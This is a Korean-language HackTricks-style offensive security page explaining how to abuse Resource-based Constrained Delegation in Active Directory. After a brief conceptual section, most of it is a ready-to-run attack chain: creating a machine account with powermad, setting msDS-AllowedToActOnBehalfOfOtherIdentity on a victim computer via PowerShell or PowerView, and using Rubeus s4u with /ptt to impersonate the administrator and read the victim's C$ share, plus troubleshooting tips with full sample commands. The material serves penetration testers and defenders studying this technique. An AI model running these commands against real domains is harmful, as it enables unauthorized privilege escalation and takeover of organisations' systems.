Resource-based Constrained Delegation

htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅까지 AWS 해킹 배우기!

HackTricks를 지원하는 다른 방법:

리소스 기반 제약 위임의 기본

이것은 기본 제약 위임과 유사하지만 객체에 사용자를 위조할 수 있는 권한을 부여하는 대신 리소스 기반 제약 위임은 해당 객체에서 어떤 사용자가 자신을 위조할 수 있는지 설정합니다.

이 경우, 제약된 객체에는 _msDS-AllowedToActOnBehalfOfOtherIdentity_라는 속성이 있으며 해당 사용자의 이름을 가질 수 있습니다.

이 Constrained Delegation과 다른 중요한 차이점은 기계 계정에 쓰기 권한이 있는 모든 사용자가 _msDS-AllowedToActOnBehalfOfOtherIdentity_를 설정할 수 있다는 것입니다 (다른 형태의 위임에서는 도메인 관리자 권한이 필요했습니다).

새로운 개념

제약 위임에서는 사용자의 userAccountControl 값 내의 TrustedToAuthForDelegation 플래그가 S4U2Self를 수행하는 데 필요하다고 말했습니다. 그러나 그것은 완전한 진실이 아닙니다. 사실, 그 값이 없어도 서비스인 경우 (SPN이 있는 경우) 어떤 사용자에 대해 S4U2Self를 수행할 수 있지만, **TrustedToAuthForDelegation**이 있다면 반환된 TGS가 Forwardable이 되고 그 플래그가 없으면 반환된 TGS가 Forwardable하지 않습니다.

그러나 S4U2Proxy에서 사용된 TGSForwardable하지 않은 경우 기본 제약 위임을 악용하려고 하면 작동하지 않을 것입니다. 그러나 리소스 기반 제약 위임을 악용하려고 하면 작동합니다 (이것은 취약점이 아니라 기능인 것으로 보입니다).

공격 구조

컴퓨터 계정에 쓰기 동등 권한이 있다면 해당 컴퓨터에서 특권 액세스를 얻을 수 있습니다.

공격자가 이미 피해자 컴퓨터에 대한 쓰기 동등 권한을 가지고 있다고 가정합니다.

  1. 공격자는 SPN을 가진 계정을 침해하거나 생성합니다 ("서비스 A"). 특별한 권한이 없는 모든 관리자 사용자_는 최대 10개의 컴퓨터 객체(MachineAccountQuota_)를 생성하고 SPN을 설정할 수 있습니다. 따라서 공격자는 컴퓨터 객체를 만들고 SPN을 설정할 수 있습니다.

  2. 공격자는 피해자 컴퓨터 (서비스B)에 대한 쓰기 권한을 악용하여 서비스A가 해당 피해자 컴퓨터 (서비스B)에 대해 어떤 사용자든 위조할 수 있도록 리소스 기반 제약 위임을 구성합니다.

  3. 공격자는 Rubeus를 사용하여 특권 액세스를 가진 사용자를 위해 서비스 A에서 서비스 B로 전체 S4U 공격 (S4U2Self 및 S4U2Proxy)을 수행합니다.

  4. S4U2Self (침해된/생성된 SPN 계정에서): 관리자로부터 나에게 TGS를 요청합니다 (Forwardable하지 않음).

  5. S4U2Proxy: 앞 단계의 Forwardable하지 않은 TGS를 사용하여 관리자로부터 피해자 호스트로 TGS를 요청합니다.

  6. Forwardable하지 않은 TGS를 사용하더라도 리소스 기반 제약 위임을 악용하고 있기 때문에 작동합니다.

  7. 공격자는 티켓 전달을 수행하고 사용자를 위조하여 피해자 서비스B에 액세스할 수 있습니다.

도메인의 _MachineAccountQuota_를 확인하려면 다음을 사용할 수 있습니다:

Get-DomainObject -Identity "dc=domain,dc=local" -Domain domain.local | select MachineAccountQuota

공격

컴퓨터 객체 생성

도메인 내에서 powermad를 사용하여 컴퓨터 객체를 생성할 수 있습니다**:**

import-module powermad
New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose

# Check if created
Get-DomainComputer SERVICEA

Resource-based Constrained Delegation 구성

activedirectory PowerShell 모듈 사용

Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount SERVICEA$ #Assing delegation privileges
Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount #Check that it worked

powerview 사용하기

$ComputerSid = Get-DomainComputer FAKECOMPUTER -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer $targetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

#Check that it worked
Get-DomainComputer $targetComputer -Properties 'msds-allowedtoactonbehalfofotheridentity'

msds-allowedtoactonbehalfofotheridentity
----------------------------------------
{1, 0, 4, 128...}

완전한 S4U 공격 수행

우선, 우리는 암호가 123456인 새로운 컴퓨터 객체를 생성했으므로 해당 암호의 해시가 필요합니다:

.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local

이것은 해당 계정의 RC4 및 AES 해시를 출력합니다. 이제, 공격을 수행할 수 있습니다:

rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<aes256 hash> /aes128:<aes128 hash> /rc4:<rc4 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /domain:domain.local /ptt

다음은 Rubeus의 /altservice 매개변수를 사용하여 한 번 요청으로 더 많은 티켓을 생성할 수 있습니다:

rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<AES 256 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt

사용자에게는 "위임할 수 없음"이라는 속성이 있음을 유의하십시오. 사용자가 이 속성을 True로 설정하면 해당 사용자를 표현할 수 없습니다. 이 속성은 bloodhound 내에서 확인할 수 있습니다.

접근

마지막 명령줄은 완전한 S4U 공격을 수행하고 TGS를 관리자에서 피해 호스트로 메모리에 삽입합니다. 이 예에서는 관리자로부터 CIFS 서비스를 위한 TGS가 요청되었으므로 **C$**에 액세스할 수 있습니다.

ls \\victim.domain.local\C$

다양한 서비스 티켓 남용

여기에서 사용 가능한 서비스 티켓을 확인하세요.

케르버로스 오류

  • KDC_ERR_ETYPE_NOTSUPP: 이는 케르버로스가 DES 또는 RC4을 사용하지 않도록 구성되어 있고 RC4 해시만 제공하는 경우를 의미합니다. 적어도 AES256 해시를 Rubeus에 제공하십시오 (또는 rc4, aes128 및 aes256 해시를 제공하십시오). 예시: [Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())

  • KRB_AP_ERR_SKEW: 현재 컴퓨터의 시간이 DC의 시간과 다르며 케르버로스가 제대로 작동하지 않는 것을 의미합니다.

  • preauth_failed: 주어진 사용자 이름 + 해시가 로그인에 작동하지 않는다는 것을 의미합니다. 해시를 생성할 때 사용자 이름에 "$"를 넣는 것을 잊었을 수 있습니다 (.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local)

  • KDC_ERR_BADOPTION: 이는 다음을 의미할 수 있습니다:

    • 특정 서비스에 액세스할 수 없는 사용자를 흉내 내려고 하는 경우 (흉내 내거나 권한이 충분하지 않은 경우)

    • 요청한 서비스가 존재하지 않는 경우 (winrm 티켓을 요청했지만 winrm이 실행되지 않는 경우)

    • 생성된 가짜 컴퓨터가 취약한 서버에 대한 권한을 잃었으며 다시 부여해야 하는 경우

참고 자료

제로부터 영웅이 될 때까지 AWS 해킹 배우기 htARTE (HackTricks AWS Red Team Expert)!

HackTricks를 지원하는 다른 방법:

Last updated